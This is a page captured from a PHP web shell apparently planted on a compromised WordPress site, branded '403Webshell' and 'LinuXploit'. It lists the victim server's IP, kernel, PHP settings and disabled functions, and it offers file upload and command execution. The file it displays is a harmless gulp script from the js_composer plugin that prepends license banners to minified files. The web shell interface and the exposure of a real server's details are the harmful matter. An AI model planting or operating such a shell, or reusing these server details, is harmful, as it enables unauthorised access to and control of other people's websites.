403Webshell
Server IP : 31.214.178.50  /  Your IP : 216.73.217.58
Web Server : Apache
System : Linux hostingsrv42.dondominio.com 6.12.107+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64
User :  ( 1021069)
PHP Version : 8.5.9
Disable Function : system,passthru,popen,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,exec,ini_alter,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,mail,eval
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /hosting/www/univolution.com/public/wp-content/plugins/js_composer/gulp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /hosting/www/univolution.com/public/wp-content/plugins/js_composer/gulp/buildBanner.js
const fs = require('fs')
const path = require('path')

const pkg = require('../package.json')
const buildConfig = require('../build-config.json')

const banner = `/*!
* ${pkg.nativeName} v${pkg.version} (${pkg.homepage})
* Copyright 2011-${new Date().getFullYear()} ${pkg.author}
* License: Commercial. More details: ${pkg.license}
*/`

const jsBanner = `${banner}
	// jscs:disable
	// jshint ignore: start \n`

function applyBanner(directoryPath, banner, fileExtension, done) {
	fs.readdir(directoryPath, (err, files) => {
		if (err) {
			console.error('Error:', err)
			return done(err)
		}

		let pending = files.length
		if (pending === 0) return done() // No files, complete immediately

		files.forEach((file) => {
			var filePath = path.join(directoryPath, file)
			fs.stat(filePath, (err, stats) => {
				if (err) {
					console.error('Error:', err)
					done(err)
					return
				}

				if (stats.isDirectory()) {
					// Recursively process directories
					applyBanner(filePath, banner, fileExtension, (err) => {
						if (--pending === 0) done(err)
					})
				} else if (path.extname(file) === fileExtension && file.endsWith('.min' + fileExtension)) {
					// Process files with specified extension
					fs.readFile(filePath, 'utf8', (err, data) => {
						if (err) {
							console.error('Error reading file:', err)
							if (--pending === 0) done(err)
							return
						}

						var newData = banner + data
						fs.writeFile(filePath, newData, 'utf8', (err) => {
							if (err) {
								console.error('Error writing file:', err)
								if (--pending === 0) done(err)
								return
							}

							if (--pending === 0) done()
						})
					})
				} else {
					if (--pending === 0) done()
				}
			})
		})
	})
}

function addJsBanner(done) {
	applyBanner(buildConfig.globalOptions.jsLibs.srcPath, jsBanner, '.js', done)
}

function addCssBanner(done) {
	applyBanner(buildConfig.globalOptions.less.destPath, banner, '.css', done)
}

module.exports = {
	addJsBanner,
	addCssBanner
}

Youez - 2016 - github.com/yon3zu
LinuXploit